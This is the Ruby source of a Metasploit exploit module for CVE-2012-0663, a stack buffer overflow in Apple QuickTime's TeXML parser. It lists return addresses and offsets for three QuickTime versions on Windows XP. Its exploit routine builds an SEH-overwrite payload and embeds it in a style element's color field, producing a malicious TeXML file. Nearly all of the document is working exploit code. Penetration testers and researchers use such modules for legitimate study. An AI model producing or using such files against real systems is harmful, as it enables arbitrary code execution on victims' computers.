Path: blob/master/modules/exploits/windows/fileformat/apple_quicktime_texml.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::FILEFORMAT9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Apple QuickTime TeXML Style Element Stack Buffer Overflow',16'Description' => %q{17This module exploits a vulnerability found in Apple QuickTime. When handling18a TeXML file, it is possible to trigger a stack-based buffer overflow, and then19gain arbitrary code execution under the context of the user. This is due to the20QuickTime3GPP.gtx component not handling certain Style subfields properly, storing21user-supplied data on the stack, which results the overflow.22},23'License' => MSF_LICENSE,24'Author' => [25'Alexander Gavrun', # Vulnerability Discovery26'sinn3r', # Metasploit Module27'juan vazquez' # Metasploit Module28],29'References' => [30[ 'OSVDB', '81934' ],31[ 'CVE', '2012-0663' ],32[ 'BID', '53571' ],33[ 'ZDI', '12-107' ],34[ 'URL', 'http://0x1byte.blogspot.com/2012/06/cve-2012-0663-and-cve-2012-0664-samples.html' ],35[ 'URL', 'http://support.apple.com/kb/HT1222' ]36],37'Payload' => {38'DisableNops' => true,39'BadChars' => "\x00\x23\x25\x3c\x3e\x7d"40},41'Platform' => 'win',42'Targets' => [43[44'QuickTime 7.7.1 on Windows XP SP3',45{46'Ret' => 0x66f1bdf8, # POP ESI/POP EDI/RET from QuickTime.qts (7.71.80.42)47'Offset' => 643,48'Max' => 1350849}50],51[52'QuickTime 7.7.0 on Windows XP SP3',53{54'Ret' => 0x66F1BD66, # PPR from QuickTime.qts (7.70.80.34)55'Offset' => 643,56'Max' => 1350857}58],59[60'QuickTime 7.6.9 on Windows XP SP3',61{62'Ret' => 0x66801042, # PPR from QuickTime.qts (7.69.80.9)63'Offset' => 643,64'Max' => 1350865}66],67],68'Privileged' => false,69'DisclosureDate' => '2012-05-15',70'Notes' => {71'Reliability' => UNKNOWN_RELIABILITY,72'Stability' => UNKNOWN_STABILITY,73'SideEffects' => UNKNOWN_SIDE_EFFECTS74}75)76)7778register_options(79[80OptString.new('FILENAME', [ true, 'The file name.', 'msf.xml']),81]82)83end8485def exploit86my_payload = rand_text(target['Offset'])87my_payload << generate_seh_record(target.ret)88my_payload << payload.encoded89my_payload << rand_text(target['Max'] - my_payload.length)9091texml = <<-eos92<?xml version="1.0"?>93<?quicktime type="application/x-quicktime-texml"?>9495<text3GTrack trackWidth="176.0" trackHeight="60.0" layer="1"96language="eng" timeScale="600"97transform="matrix(1.0, 0.0, 0.0, 0.0, 1.0, 0.0, 1, 0, 1.0)">98<sample duration="2400" keyframe="true">99100<description format="tx3g" displayFlags="ScrollIn"101horizontalJustification="Left"102verticalJustification="Top"103backgroundColor="0%, 0%, 0%, 100%">104105<defaultTextBox x="0" y="0" width="176" height="60"/>106<fontTable>107<font id="1" name="Times"/>108</fontTable>109110<sharedStyles>111<style id="1">112{font-table: 1} {font-size: 10}113{font-style:normal}114{font-weight: normal}115{color: #{my_payload}%, 100%, 100%, 100%}116</style>117</sharedStyles>118</description>119120<sampleData scrollDelay="200"121highlightColor="25%, 45%, 65%, 100%"122targetEncoding="utf8">123124<textBox x="10" y="10" width="156" height="40"/>125<text styleID="1">What you need... Metasploit!</text>126<highlight startMarker="1" endMarker="2"/>127<blink startMarker="3" endMarker="4"/>128</sampleData>129</sample>130</text3GTrack>131eos132133texml = texml.gsub(/^ {4}/, '')134135print_status("Creating '#{datastore['FILENAME']}'.")136file_create(texml)137end138end139140141